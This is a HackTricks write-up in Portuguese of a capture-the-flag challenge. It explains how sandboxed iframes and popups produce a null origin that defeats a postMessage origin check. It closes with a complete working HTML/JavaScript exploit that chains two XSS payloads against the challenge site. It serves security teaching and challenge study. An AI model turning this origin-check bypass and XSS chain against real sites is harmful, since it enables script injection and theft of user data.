Bypassing SOP with Iframes - 1

Support HackTricks

Iframes in SOP-1

Neste desafio criado por NDevTK e Terjanq, você precisa explorar um XSS no código

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

O problema principal é que a página principal usa DomPurify para enviar o data.body, então, para enviar seus próprios dados html para esse código, você precisa burlar e.origin !== window.origin.

Vamos ver a solução que eles propõem.

Burla de SOP 1 (e.origin === null)

Quando //example.org é incorporado em um iframe sandboxed, então a origem da página será null, ou seja, window.origin === null. Portanto, apenas incorporando o iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> poderíamos forçar a origem null.

Se a página fosse incorporável, você poderia burlar essa proteção dessa forma (os cookies também podem precisar ser configurados para SameSite=None).

Burla de SOP 2 (window.origin === null)

O fato menos conhecido é que quando o valor sandbox allow-popups é definido, então o popup aberto irá herdar todos os atributos sandboxed a menos que allow-popups-to-escape-sandbox seja definido. Assim, abrir um popup de uma origem nula fará com que window.origin dentro do popup também seja null.

Solução do Desafio

Portanto, para este desafio, alguém poderia criar um iframe, abrir um popup para a página com o manipulador de código XSS vulnerável (/iframe.php), como window.origin === e.origin porque ambos são null, é possível enviar um payload que irá explorar o XSS.

Esse payload obterá o identificador e enviará um XSS de volta para a página principal (a página que abriu o popup), que irá mudar a localização para o vulnerável /iframe.php. Como o identificador é conhecido, não importa que a condição window.origin === e.origin não seja satisfeita (lembre-se, a origem é o popup do iframe que tem origem null) porque data.identifier === identifier. Então, o XSS será acionado novamente, desta vez na origem correta.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Suporte ao HackTricks

Last updated